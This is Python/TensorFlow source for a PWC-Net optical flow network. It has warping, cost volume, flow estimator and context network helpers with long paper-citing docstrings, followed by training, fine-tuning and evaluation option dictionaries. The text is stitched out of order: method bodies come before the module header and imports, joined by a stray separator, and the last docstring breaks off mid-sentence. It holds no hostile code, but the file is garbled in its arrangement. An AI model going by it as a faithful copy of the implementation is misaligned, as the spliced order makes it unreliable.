grid = grid.cuda()
vgrid = Variable(grid) + flo
# scale grid to [-1,1]
vgrid[:,0,:,:] = 2.0*vgrid[:,0,:,:]/max(W-1,1)-1.0
vgrid[:,1,:,:] = 2.0*vgrid[:,1,:,:]/max(H-1,1)-1.0
vgrid = vgrid.permute(0,2,3,1)
output = nn.functional.grid_sample(x, vgrid)
mask = torch.autograd.Variable(torch.ones(x.size())).cuda()
mask = nn.functional.grid_sample(mask, vgrid)
mask[mask<0.9999] = 0
mask[mask>0] = 1
return output*mask
[...]
warp5 = self.warp(c25, up_flow6*0.625)
warp4 = self.warp(c24, up_flow5*1.25)
warp3 = self.warp(c23, up_flow4*2.5)
warp2 = self.warp(c22, up_flow3*5.0)
Ref TF documentation:
tf.contrib.image.dense_image_warp(image, flow, name='dense_image_warp')
https://www.tensorflow.org/api_docs/python/tf/contrib/image/dense_image_warp
https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/image/python/kernel_tests/dense_image_warp_test.py
Other implementations:
https://github.com/bryanyzhu/deepOF/blob/master/flyingChairsWrapFlow.py
https://github.com/bryanyzhu/deepOF/blob/master/ucf101wrapFlow.py
https://github.com/rajat95/Optical-Flow-Warping-Tensorflow/blob/master/warp.py
"""
op_name = f'{name}{lvl}'
if self.dbg:
msg = f'Adding {op_name} with inputs {c2.op.name} and {sc_up_flow.op.name}'
print(msg)
with tf.name_scope(name):
return dense_image_warp(c2, sc_up_flow, name=op_name)
def deconv(self, x, lvl, name='up_flow'):
"""Upsample, not using a bilinear filter, but rather learn the weights of a conv2d_transpose op filters.
Args:
x: Level features or flow to upsample
lvl: Index of that level
name: Op scope name
Ref PyTorch code:
def deconv(in_planes, out_planes, kernel_size=4, stride=2, padding=1):
return nn.ConvTranspose2d(in_planes, out_planes, kernel_size, stride, padding, bias=True)
[...]
self.deconv6 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
self.upfeat6 = deconv(od+dd[4], 2, kernel_size=4, stride=2, padding=1)
...
self.deconv5 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
self.upfeat5 = deconv(od+dd[4], 2, kernel_size=4, stride=2, padding=1)
...
self.deconv4 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
self.upfeat4 = deconv(od+dd[4], 2, kernel_size=4, stride=2, padding=1)
...
self.deconv3 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
self.upfeat3 = deconv(od+dd[4], 2, kernel_size=4, stride=2, padding=1)
...
self.deconv2 = deconv(2, 2, kernel_size=4, stride=2, padding=1)
[...]
up_flow6 = self.deconv6(flow6)
up_feat6 = self.upfeat6(x)
...
up_flow5 = self.deconv5(flow5)
up_feat5 = self.upfeat5(x)
...
up_flow4 = self.deconv4(flow4)
up_feat4 = self.upfeat4(x)
...
up_flow3 = self.deconv3(flow3)
up_feat3 = self.upfeat3(x)
"""
op_name = f'{name}{lvl}'
if self.dbg:
print(f'Adding {op_name} with input {x.op.name}')
with tf.variable_scope('upsample'):
# tf.layers.conv2d_transpose(inputs, filters, kernel_size, strides=(1, 1), padding='valid', ... , name)
return tf.layers.conv2d_transpose(x, 2, 4, 2, 'same', name=op_name)
###
# Cost Volume helpers
###
def corr(self, c1, warp, lvl, name='corr'):
"""Build cost volume for associating a pixel from Image1 with its corresponding pixels in Image2.
Args:
c1: The level of the feature pyramid of Image1
warp: The warped level of the feature pyramid of image22
lvl: Index of that level
name: Op scope name
Ref:
Per page 3 of paper, section "Cost Volume," a cost volume stores the data matching costs for associating
a pixel from Image1 with its corresponding pixels in Image2. Most traditional optical flow techniques build
the full cost volume at a single scale, which is both computationally expensive and memory intensive. By
contrast, PWC-Net constructs a partial cost volume at multiple pyramid levels.
The matching cost is implemented as the correlation between features of the first image and warped features
of the second image:
CV<sup>l</sup>(x1,x2) = (C1<sup>l</sup>(x1))<sup>T</sup> . Cw<sup>l</sup>(x2) / N
where where T is the transpose operator and N is the length of the column vector C1<sup>l</sup>(x1).
For an L-level pyramid, we only need to compute a partial cost volume with a limited search range of d
pixels. A one-pixel motion at the top level corresponds to 2**(L−1) pixels at the full resolution images.
Thus we can set d to be small, e.g. d=4. The dimension of the 3D cost volume is d**2 × Hl × Wl, where Hl
and Wl denote the height and width of the L-th pyramid level, respectively.
Per page 3 of paper, section "3. Approach," the warping and cost volume layers have no learnable parameters
and, hence, reduce the model size.
Per page 5 of paper, section "Implementation details," we use a search range of 4 pixels to compute the
cost volume at each level.
Ref PyTorch code:
from correlation_package.modules.corr import Correlation
self.corr = Correlation(pad_size=md, kernel_size=1, max_displacement=4, stride1=1, stride2=1, corr_multiply=1)
[...]
corr6 = self.corr(c16, c26)
corr6 = self.leakyRELU(corr6)
...
corr5 = self.corr(c15, warp5)
corr5 = self.leakyRELU(corr5)
...
corr4 = self.corr(c14, warp4)
corr4 = self.leakyRELU(corr4)
...
corr3 = self.corr(c13, warp3)
corr3 = self.leakyRELU(corr3)
...
corr2 = self.corr(c12, warp2)
corr2 = self.leakyRELU(corr2)
"""
op_name = f'corr{lvl}'
if self.dbg:
print(f'Adding {op_name} with inputs {c1.op.name} and {warp.op.name}')
with tf.name_scope(name):
return cost_volume(c1, warp, self.opts['search_range'], op_name)
###
# Optical flow estimator helpers
###
def predict_flow(self, corr, c1, up_flow, up_feat, lvl, name='predict_flow'):
"""Estimate optical flow.
Args:
corr: The cost volume at level lvl
c1: The level of the feature pyramid of Image1
up_flow: An upsampled version of the predicted flow from the previous level
up_feat: An upsampled version of the features that were used to generate the flow prediction
lvl: Index of the level
name: Op scope name
Args:
upfeat: The features used to generate the predicted flow
flow: The predicted flow
Ref:
Per page 4 of paper, section "Optical flow estimator," the optical flow estimator is a multi-layer CNN. Its
input are the cost volume, features of the first image, and upsampled optical flow and its output is the
flow w<sup>l</sup> at the l-th level. The numbers of feature channels at each convolutional layers are
respectively 128, 128, 96, 64, and 32, which are kept fixed at all pyramid levels. The estimators at
different levels have their own parameters instead of sharing the same parameters. This estimation process
is repeated until the desired level, l0.
Per page 5 of paper, section "Implementation details," we use a 7-level pyramid and set l0 to be 2, i.e.,
our model outputs a quarter resolution optical flow and uses bilinear interpolation to obtain the
full-resolution optical flow.
The estimator architecture can be enhanced with DenseNet connections. The inputs to every convolutional
layer are the output of and the input to its previous layer. DenseNet has more direct connections than
traditional layers and leads to significant improvement in image classification.
Note that we do not use DenseNet connections in this implementation because a) they increase the size of the
model, and, b) per page 7 of paper, section "Optical flow estimator," removing the DenseNet connections
results in higher training error but lower validation errors when the model is trained on FlyingChairs
(that being said, after the model is fine-tuned on FlyingThings3D, DenseNet leads to lower errors).
Ref PyTorch code:
def conv(in_planes, out_planes, kernel_size=3, stride=1, padding=1, dilation=1):
return nn.Sequential(
nn.Conv2d(in_planes, out_planes, kernel_size=kernel_size, stride=stride,
padding=padding, dilation=dilation, bias=True),
nn.LeakyReLU(0.1))
def predict_flow(in_planes):
return nn.Conv2d(in_planes,2,kernel_size=3,stride=1,padding=1,bias=True)
[...]
nd = (2*md+1)**2
dd = np.cumsum([128,128,96,64,32])
od = nd
self.conv6_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv6_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv6_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv6_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv6_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow6 = predict_flow(od+dd[4])
[...]
od = nd+128+4
self.conv5_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv5_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv5_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv5_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv5_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow5 = predict_flow(od+dd[4])
[...]
od = nd+96+4
self.conv4_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv4_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv4_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv4_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv4_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow4 = predict_flow(od+dd[4])
[...]
od = nd+64+4
self.conv3_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv3_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv3_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv3_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv3_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow3 = predict_flow(od+dd[4])
[...]
od = nd+32+4
self.conv2_0 = conv(od, 128, kernel_size=3, stride=1)
self.conv2_1 = conv(od+dd[0],128, kernel_size=3, stride=1)
self.conv2_2 = conv(od+dd[1],96, kernel_size=3, stride=1)
self.conv2_3 = conv(od+dd[2],64, kernel_size=3, stride=1)
self.conv2_4 = conv(od+dd[3],32, kernel_size=3, stride=1)
self.predict_flow2 = predict_flow(od+dd[4])
[...]
self.dc_conv1 = conv(od+dd[4], 128, kernel_size=3, stride=1, padding=1, dilation=1)
self.dc_conv2 = conv(128, 128, kernel_size=3, stride=1, padding=2, dilation=2)
self.dc_conv3 = conv(128, 128, kernel_size=3, stride=1, padding=4, dilation=4)
self.dc_conv4 = conv(128, 96, kernel_size=3, stride=1, padding=8, dilation=8)
self.dc_conv5 = conv(96, 64, kernel_size=3, stride=1, padding=16, dilation=16)
self.dc_conv6 = conv(64, 32, kernel_size=3, stride=1, padding=1, dilation=1)
self.dc_conv7 = predict_flow(32)
[...]
x = torch.cat((self.conv6_0(corr6), corr6),1)
x = torch.cat((self.conv6_1(x), x),1)
x = torch.cat((self.conv6_2(x), x),1)
x = torch.cat((self.conv6_3(x), x),1)
x = torch.cat((self.conv6_4(x), x),1)
flow6 = self.predict_flow6(x)
...
x = torch.cat((corr5, c15, up_flow6, up_feat6), 1)
x = torch.cat((self.conv5_0(x), x),1)
x = torch.cat((self.conv5_1(x), x),1)
x = torch.cat((self.conv5_2(x), x),1)
x = torch.cat((self.conv5_3(x), x),1)
x = torch.cat((self.conv5_4(x), x),1)
flow5 = self.predict_flow5(x)
...
x = torch.cat((corr4, c14, up_flow5, up_feat5), 1)
x = torch.cat((self.conv4_0(x), x),1)
x = torch.cat((self.conv4_1(x), x),1)
x = torch.cat((self.conv4_2(x), x),1)
x = torch.cat((self.conv4_3(x), x),1)
x = torch.cat((self.conv4_4(x), x),1)
flow4 = self.predict_flow4(x)
...
x = torch.cat((corr3, c13, up_flow4, up_feat4), 1)
x = torch.cat((self.conv3_0(x), x),1)
x = torch.cat((self.conv3_1(x), x),1)
x = torch.cat((self.conv3_2(x), x),1)
x = torch.cat((self.conv3_3(x), x),1)
x = torch.cat((self.conv3_4(x), x),1)
flow3 = self.predict_flow3(x)
...
x = torch.cat((corr2, c12, up_flow3, up_feat3), 1)
x = torch.cat((self.conv2_0(x), x),1)
x = torch.cat((self.conv2_1(x), x),1)
x = torch.cat((self.conv2_2(x), x),1)
x = torch.cat((self.conv2_3(x), x),1)
x = torch.cat((self.conv2_4(x), x),1)
flow2 = self.predict_flow2(x)
"""
op_name = f'flow{lvl}'
init = tf.keras.initializers.he_normal()
with tf.variable_scope(name):
if c1 is None and up_flow is None and up_feat is None:
if self.dbg:
print(f'Adding {op_name} with input {corr.op.name}')
x = corr
else:
if self.dbg:
msg = f'Adding {op_name} with inputs {corr.op.name}, {c1.op.name}, {up_flow.op.name}, {up_feat.op.name}'
print(msg)
x = tf.concat([corr, c1, up_flow, up_feat], axis=3)
conv = tf.layers.conv2d(x, 128, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_0')
act = tf.nn.leaky_relu(conv, alpha=0.1) # default alpha is 0.2 for TF
x = tf.concat([act, x], axis=3) if self.opts['use_dense_cx'] else act
conv = tf.layers.conv2d(x, 128, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_1')
act = tf.nn.leaky_relu(conv, alpha=0.1)
x = tf.concat([act, x], axis=3) if self.opts['use_dense_cx'] else act
conv = tf.layers.conv2d(x, 96, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_2')
act = tf.nn.leaky_relu(conv, alpha=0.1)
x = tf.concat([act, x], axis=3) if self.opts['use_dense_cx'] else act
conv = tf.layers.conv2d(x, 64, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_3')
act = tf.nn.leaky_relu(conv, alpha=0.1)
x = tf.concat([act, x], axis=3) if self.opts['use_dense_cx'] else act
conv = tf.layers.conv2d(x, 32, 3, 1, 'same', kernel_initializer=init, name=f'conv{lvl}_4')
act = tf.nn.leaky_relu(conv, alpha=0.1) # will also be used as an input by the context network
upfeat = tf.concat([act, x], axis=3, name=f'upfeat{lvl}') if self.opts['use_dense_cx'] else act
flow = tf.layers.conv2d(upfeat, 2, 3, 1, 'same', name=op_name)
return upfeat, flow
###
# PWC-Net context network helpers
###
def refine_flow(self, feat, flow, lvl, name='ctxt'):
"""Post-ptrocess the estimated optical flow using a "context" nn.
Args:
feat: Features of the second-to-last layer from the optical flow estimator
flow: Estimated flow to refine
lvl: Index of the level
name: Op scope name
Ref:
Per page 4 of paper, section "Context network," traditional flow methods often use contextual information
to post-process the flow. Thus we employ a sub-network, called the context network, to effectively enlarge
the receptive field size of each output unit at the desired pyramid level. It takes the estimated flow and
features of the second last layer from the optical flow estimator and outputs a refined flow.
The context network is a feed-forward CNN and its design is based on dilated convolutions. It consists of
7 convolutional layers. The spatial kernel for each convolutional layer is 3×3. These layers have different
dilation constants. A convolutional layer with a dilation constant k means that an input unit to a filter
in the layer are k-unit apart from the other input units to the filter in the layer, both in vertical and
horizontal directions. Convolutional layers with large dilation constants enlarge the receptive field of
each output unit without incurring a large computational burden. From bottom to top, the dilation constants
are 1, 2, 4, 8, 16, 1, and 1.
Ref PyTorch code:
def conv(in_planes, out_planes, kernel_size=3, stride=1, padding=1, dilation=1):
return nn.Sequential(
nn.Conv2d(in_planes, out_planes, kernel_size=kernel_size, stride=stride,
padding=padding, dilation=dilation, bias=True),
nn.LeakyReLU(0.1))
def predict_flow(in_planes):
return nn.Conv2d(in_planes,2,kernel_size=3,stride=1,padding=1,bias=True)
[...]
self.dc_conv1 = conv(od+dd[4], 128, kernel_size=3, stride=1, padding=1, dilation=1)
self.dc_conv2 = conv(128, 128, kernel_size=3, stride=1, padding=2, dilation=2)
self.dc_conv3 = conv(128, 128, kernel_size=3, stride=1, padding=4, dilation=4)
self.dc_conv4 = conv(128, 96, kernel_size=3, stride=1, padding=8, dilation=8)
self.dc_conv5 = conv(96, 64, kernel_size=3, stride=1, padding=16, dilation=16)
self.dc_conv6 = conv(64, 32, kernel_size=3, stride=1, padding=1, dilation=1)
self.dc_conv7 = predict_flow(32)
[...]
x = torch.cat((corr2, c12, up_flow3, up_feat3), 1)
x = torch.cat((self.conv2_0(x), x),1)
x = torch.cat((self.conv2_1(x), x),1)
x = torch.cat((self.conv2_2(x), x),1)
x = torch.cat((self.conv2_3(x), x),1)
x = torch.cat((self.conv2_4(x), x),1)
flow2 = self.predict_flow2(x)
x = self.dc_conv4(self.dc_conv3(self.dc_conv2(self.dc_conv1(x))))
flow2 += self.dc_conv7(self.dc_conv6(self.dc_conv5(x)))
"""
op_name = f'refined_flow{lvl}'
if self.dbg:
print(f'Adding {op_name} sum of dc_convs_chain({feat.op.name}) with {flow.op.name}')
init = tf.keras.initializers.he_normal()
with tf.variable_scope(name):
x = tf.layers.conv2d(feat, 128, 3, 1, 'same', dilation_rate=1, kernel_initializer=init, name=f'dc_conv{lvl}1')
x = tf.nn.leaky_relu(x, alpha=0.1) # default alpha is 0.2 for TF
x = tf.layers.conv2d(x, 128, 3, 1, 'same', dilation_rate=2, kernel_initializer=init, name=f'dc_conv{lvl}2')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 128, 3, 1, 'same', dilation_rate=4, kernel_initializer=init, name=f'dc_conv{lvl}3')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 96, 3, 1, 'same', dilation_rate=8, kernel_initializer=init, name=f'dc_conv{lvl}4')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 64, 3, 1, 'same', dilation_rate=16, kernel_initializer=init, name=f'dc_conv{lvl}5')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 32, 3, 1, 'same', dilation_rate=1, kernel_initializer=init, name=f'dc_conv{lvl}6')
x = tf.nn.leaky_relu(x, alpha=0.1)
x = tf.layers.conv2d(x, 2, 3, 1, 'same', dilation_rate=1, kernel_initializer=init, name=f'dc_conv{lvl}7')
return tf.add(flow, x, name=op_name)
###
# PWC-Net nn builder
###
def nn(self, x_tnsr, name='pwcnet'):
"""Defines and connects the backbone neural nets
Args:
inputs: TF placeholder that contains the input frame pairs in [batch_size, 2, H, W, 3] format
name: Name of the nn
Returns:
net: Output tensors of the backbone network
Ref:
RE: the scaling of the upsampled estimated optical flow, per page 5, section "Implementation details," we
do not further scale the supervision signal at each level, the same as the FlowNet paper. As a result, we
need to scale the upsampled flow at each pyramid level for the warping layer. For example, at the second
level, we scale the upsampled flow from the third level by a factor of 5 (=20/4) before warping features
of the second image.
Based on:
- https://github.com/daigo0927/PWC-Net_tf/blob/master/model.py
Written by Daigo Hirooka, Copyright (c) 2018 Daigo Hirooka
MIT License
"""
with tf.variable_scope(name):
# Extract pyramids of CNN features from both input images (1-based lists))
c1, c2 = self.extract_features(x_tnsr)
flow_pyr = []
for lvl in range(self.opts['pyr_lvls'], self.opts['flow_pred_lvl'] - 1, -1):
if lvl == self.opts['pyr_lvls']:
# Compute the cost volume
corr = self.corr(c1[lvl], c2[lvl], lvl)
# Estimate the optical flow
upfeat, flow = self.predict_flow(corr, None, None, None, lvl)
else:
# Warp level of Image1's using the upsampled flow
scaler = 20. / 2**lvl # scaler values are 0.625, 1.25, 2.5, 5.0
warp = self.warp(c2[lvl], up_flow * scaler, lvl)
# Compute the cost volume
corr = self.corr(c1[lvl], warp, lvl)
# Estimate the optical flow
upfeat, flow = self.predict_flow(corr, c1[lvl], up_flow, up_feat, lvl)
_, lvl_height, lvl_width, _ = tf.unstack(tf.shape(c1[lvl]))
if lvl != self.opts['flow_pred_lvl']:
if self.opts['use_res_cx']:
flow = self.refine_flow(upfeat, flow, lvl)
# Upsample predicted flow and the features used to compute predicted flow
flow_pyr.append(flow)
up_flow = self.deconv(flow, lvl, 'up_flow')
up_feat = self.deconv(upfeat, lvl, 'up_feat')
else:
# Refine the final predicted flow
flow = self.refine_flow(upfeat, flow, lvl)
flow_pyr.append(flow)
# Upsample the predicted flow (final output) to match the size of the images
scaler = 2**self.opts['flow_pred_lvl']
if self.dbg:
print(f'Upsampling {flow.op.name} by {scaler} in each dimension.')
size = (lvl_height * scaler, lvl_width * scaler)
flow_pred = tf.image.resize_bilinear(flow, size, name="flow_pred") * scaler
break
return flow_pred, flow_pyr
| """
model_pwcnet.py
PWC-Net model class.
Written by Phil Ferriere
Licensed under the MIT License (see LICENSE for details)
"""
from __future__ import absolute_import, division, print_function
import time
import datetime
import warnings
import numpy as np
import pandas as pd
import tensorflow as tf
from tqdm import trange
from tensorflow.contrib.mixed_precision import LossScaleOptimizer, FixedLossScaleManager
from model_base import ModelBase
from optflow import flow_write, flow_write_as_png, flow_mag_stats
from losses import pwcnet_loss
from logger import OptFlowTBLogger
from multi_gpus import assign_to_device, average_gradients
from core_warp import dense_image_warp
from core_costvol import cost_volume
from utils import tf_where
_DEBUG_USE_REF_IMPL = False
# Default options
_DEFAULT_PWCNET_TRAIN_OPTIONS = {
'verbose': False,
'ckpt_dir': './ckpts_trained/', # where training checkpoints are stored
'max_to_keep': 10,
'x_dtype': tf.float32, # image pairs input type
'x_shape': [2, 384, 448, 3], # image pairs input shape [2, H, W, 3]
'y_dtype': tf.float32, # u,v flows output type
'y_shape': [384, 448, 2], # u,v flows output shape [H, W, 2]
'train_mode': 'train', # in ['train', 'fine-tune']
'adapt_info': None, # if predicted flows are padded by the model, crop them back by to this size
'sparse_gt_flow': False, # if gt flows are sparse (KITTI), only compute average EPE where gt flows aren't (0., 0.)
# Logging/Snapshot params
'display_step': 100, # show progress every 100 training batches
'snapshot_step': 1000, # save trained model every 1000 training batches
'val_step': 1000, # Test trained model on validation split every 1000 training batches
'val_batch_size': -1, # Use -1 to use entire validation split, or set number of val samples (0 disables it)
# None or in ['top_flow', 'pyramid'|; runs trained model on batch_size random val images, log results
'tb_val_imgs': 'pyramid',
# None or in ['top_flow', 'pyramid'|; runs trained model on batch_size random test images, log results
'tb_test_imgs': None,
# Multi-GPU config
# list devices on which to run the model's train ops (can be more than one GPU)
'gpu_devices': ['/device:GPU:0', '/device:GPU:1'],
# controller device to put the model's variables on (usually, /cpu:0 or /gpu:0 -> try both!)
'controller': '/device:CPU:0',
# Training config and hyper-params
'use_tf_data': True, # Set to True to get data from tf.data.Dataset; otherwise, use feed_dict with numpy
'use_mixed_precision': False, # Set to True to use mixed precision training (fp16 inputs)
'loss_scaler': 128., # Loss scaler (only used in mixed precision training)
'batch_size': 8,
'lr_policy': 'multisteps', # choose between None, 'multisteps', and 'cyclic'; adjust the max_steps below too
# Multistep lr schedule
'init_lr': 1e-04, # initial learning rate
'max_steps': 1200000, # max number of training iterations (i.e., batches to run)
'lr_boundaries': [400000, 600000, 800000, 1000000, 1200000], # step schedule boundaries
'lr_values': [0.0001, 5e-05, 2.5e-05, 1.25e-05, 6.25e-06, 3.125e-06], # step schedule values
# Cyclic lr schedule
'cyclic_lr_max': 5e-04, # max bound, anything higher will generate NaNs on `FlyingChairs+FlyingThings3DHalfRes` mix
'cyclic_lr_base': 1e-05, # min bound
'cyclic_lr_stepsize': 20000, # step schedule values
# 'max_steps': 200000, # max number of training iterations
# Loss functions hyper-params
'loss_fn': 'loss_multiscale', # See 'Implementation details" on page 5 of ref PDF
'alphas': [0.32, 0.08, 0.02, 0.01, 0.005, 0.0025], # See 'Implementation details" on page 5 of ref PDF
'gamma': 0.0004, # See 'Implementation details" on page 5 of ref PDF
'q': 1., # See 'Implementation details" on page 5 of ref PDF
'epsilon': 0., # See 'Implementation details" on page 5 of ref PDF
# Model hyper-params
'pyr_lvls': 6, # number of feature levels in the flow pyramid
'flow_pred_lvl': 2, # which level to upsample to generate the final optical flow prediction
'search_range': 4, # cost volume search range
# if True, use model with dense connections (4705064 params w/o, 9374274 params with (no residual conn.))
'use_dense_cx': False,
# if True, use model with residual connections (4705064 params w/o, 6774064 params with (+2069000) (no dense conn.))
'use_res_cx': False,
}
_DEFAULT_PWCNET_FINETUNE_OPTIONS = {
'verbose': False,
'ckpt_path': './ckpts_trained/pwcnet.ckpt', # original checkpoint to finetune
'ckpt_dir': './ckpts_finetuned/', # where finetuning checkpoints are stored
'max_to_keep': 10,
'x_dtype': tf.float32, # image pairs input type
'x_shape': [2, 384, 768, 3], # image pairs input shape [2, H, W, 3]
'y_dtype': tf.float32, # u,v flows output type
'y_shape': [384, 768, 2], # u,v flows output shape [H, W, 2]
'train_mode': 'fine-tune', # in ['train', 'fine-tune']
'adapt_info': None, # if predicted flows are padded by the model, crop them back by to this size
'sparse_gt_flow': False, # if gt flows are sparse (KITTI), only compute average EPE where gt flows aren't (0., 0.)
# Logging/Snapshot params
'display_step': 100, # show progress every 100 training batches
'snapshot_step': 1000, # save trained model every 1000 training batches
'val_step': 1000, # Test trained model on validation split every 1000 training batches
'val_batch_size': -1, # Use -1 to use entire validation split, or set number of val samples (0 disables it)
'tb_val_imgs': 'top_flow', # None, 'top_flow', or 'pyramid'; runs model on batch_size val images, log results
'tb_test_imgs': None, # None, 'top_flow', or 'pyramid'; runs trained model on batch_size test images, log results
# Multi-GPU config
# list devices on which to run the model's train ops (can be more than one GPU)
'gpu_devices': ['/device:GPU:0', '/device:GPU:1'],
# controller device to put the model's variables on (usually, /cpu:0 or /gpu:0 -> try both!)
'controller': '/device:CPU:0',
# Training config and hyper-params
'use_tf_data': True, # Set to True to get data from tf.data.Dataset; otherwise, use feed_dict with numpy
'use_mixed_precision': False, # Set to True to use mixed precision training (fp16 inputs)
'loss_scaler': 128., # Loss scaler (only used in mixed precision training)
'batch_size': 4,
'lr_policy': 'multisteps', # choose between None, 'multisteps', and 'cyclic'; adjust the max_steps below too
# Multistep lr schedule
'init_lr': 1e-05, # initial learning rate
'max_steps': 500000, # max number of training iterations (i.e., batches to run)
'lr_boundaries': [200000, 300000, 400000, 500000], # step schedule boundaries
'lr_values': [1e-05, 5e-06, 2.5e-06, 1.25e-06, 6.25e-07], # step schedule values
# Cyclic lr schedule
'cyclic_lr_max': 2e-05, # maximum bound
'cyclic_lr_base': 1e-06, # min bound
'cyclic_lr_stepsize': 20000, # step schedule values
# 'max_steps': 200000, # max number of training iterations
# Loss functions hyper-params
'loss_fn': 'loss_robust', # 'loss_robust' doesn't really work; the loss goes down but the EPE doesn't
'alphas': [0.32, 0.08, 0.02, 0.01, 0.005], # See 'Implementation details" on page 5 of ref PDF
'gamma': 0.0004, # See 'Implementation details" on page 5 of ref PDF
'q': 0.4, # See 'Implementation details" on page 5 of ref PDF
'epsilon': 0.01, # See 'Implementation details" on page 5 of ref PDF
# Model hyper-params
'pyr_lvls': 6, # number of feature levels in the flow pyramid
'flow_pred_lvl': 2, # which level to upsample to generate the final optical flow prediction
'search_range': 4, # cost volume search range
# if True, use model with dense connections (4705064 params w/o, 9374274 params with (no residual conn.))
'use_dense_cx': False,
# if True, use model with residual connections (4705064 params w/o, 6774064 params with (+2069000) (no dense conn.))
'use_res_cx': False,
}
_DEFAULT_PWCNET_VAL_OPTIONS = {
'verbose': False,
'ckpt_path': './ckpts_trained/pwcnet.ckpt',
'x_dtype': tf.float32, # image pairs input type
'x_shape': [2, None, None, 3], # image pairs input shape [2, H, W, 3]
'y_dtype': tf.float32, # u,v flows output type
'y_shape': [None, None, 2], # u,v flows output shape [H, W, 2]
'adapt_info': None, # if predicted flows are padded by the model, crop them back by to this size
'sparse_gt_flow': False, # if gt flows are sparse (KITTI), only compute average EPE where gt flows aren't (0., 0.)
# Multi-GPU config
# list devices on which to run the model's train ops (can be more than one GPU)
'gpu_devices': ['/device:GPU:0', '/device:GPU:1'],
# controller device to put the model's variables on (usually, /cpu:0 or /gpu:0 -> try both!)
'controller': '/device:CPU:0',
# Eval config and hyper-params
'batch_size': 1,
'use_tf_data': True, # Set to True to get data from tf.data.Dataset; otherwise, use feed_dict with numpy
'use_mixed_precision': False, # Set to True to use fp16 inputs
# Model hyper-params
'pyr_lvls': 6, # number of feature levels in the flow pyramid
'flow_pred_lvl': 2, # which level to upsample to generate the final optical flow prediction
'search_range': 4, # cost volume search range
# if True, use model with dense connections (4705064 params w/o, 9374274 params with (no residual conn.))
'use_dense_cx': False,
# if True, use model with residual connections (4705064 params w/o, 6774064 params with (+2069000) (no dense conn.))
'use_res_cx': False,
}
_DEFAULT_PWCNET_TEST_OPTIONS = {
'verbose': False,
'ckpt_path': './ckpts_trained/pwcnet.ckpt',
'x_dtype': tf.float32, # image pairs input type
'x_shape': [2, None, None, 3], # image pairs input shape
'y_dtype': tf.float32, # u,v flows output type
'y_shape': [None, None, 2], # u,v flows output shape
# Multi-GPU config
# list devices on which to run the model's train ops (can be more than one GPU)
'gpu_devices': ['/device:GPU:0', '/device:GPU:1'],
# controller device to put the model's variables on (usually, /cpu:0 or /gpu:0 -> try both!)
'controller': '/device:CPU:0',
# Eval config and hyper-params
'batch_size': 1,
'use_tf_data': True, # Set to True to get data from tf.data.Dataset; otherwise, use feed_dict with numpy
'use_mixed_precision': False, # Set to True to use fp16 inputs
# Model hyper-params
'pyr_lvls': 6, # number of feature levels in the flow pyramid
'flow_pred_lvl': 2, # which level to upsample to generate the final optical flow prediction
'search_range': 4, # cost volume search range
# if True, use model with dense connections (4705064 params w/o, 9374274 params with (no residual conn.))
'use_dense_cx': False,
# if True, use model with residual connections (4705064 params w/o, 6774064 params with (+2069000) (no dense conn.))
'use_res_cx': False,
}
# from ref_model import PWCNet
class ModelPWCNet(ModelBase):
def __init__(self, name='pwcnet', mode='train', session=None, options=_DEFAULT_PWCNET_TEST_OPTIONS, dataset=None):
"""Initialize the ModelPWCNet object
Args:
name: Model name
mode: Possible values: 'train', 'val', 'test'
session: optional TF session
options: see _DEFAULT_PWCNET_TRAIN_OPTIONS comments
dataset: Dataset loader
Training Ref:
Per page 4 of paper, section "Training loss," the loss function used in regular training mode is the same as
the one used in Dosovitskiy et al's "FlowNet: Learning optical flow with convolutional networks" paper
(multiscale training loss). For fine-tuning, the loss function used is described at the top of page 5
(robust training loss).
Per page 5 of paper, section "Implementation details," the trade-off weight gamma in the regularization term
is usually set to 0.0004.
Per page 5 of paper, section "Implementation details," we first train the models using the FlyingChairs
dataset using the S<sub>long</sub> learning rate schedule introduced in E. Ilg et al.'s "FlowNet 2.0:
Evolution of optical flow estimation with deep networks", starting from 0.0001 and reducing the learning
rate by half at 0.4M, 0.6M, 0.8M, and 1M iterations. The data augmentation scheme is the same as in that
paper. We crop 448 × 384 patches during data augmentation and use a batch size of 8. We then fine-tune the
models on the FlyingThings3D dataset using the S<sub>fine</sub> schedule while excluding image pairs with
extreme motion (magnitude larger than 1000 pixels). The cropped image size is 768 × 384 and the batch size
is 4. Finally, we finetune the models using the Sintel and KITTI training set as detailed in section "4.1.
Main results".
"""
super().__init__(name, mode, session, options)
self.ds = dataset
# self.adapt_infos = []
# self.unique_y_shapes = []
###
# Model mgmt
###
def build_model(self):
"""Build model
Called by the base class when building the TF graph to setup the list of output tensors
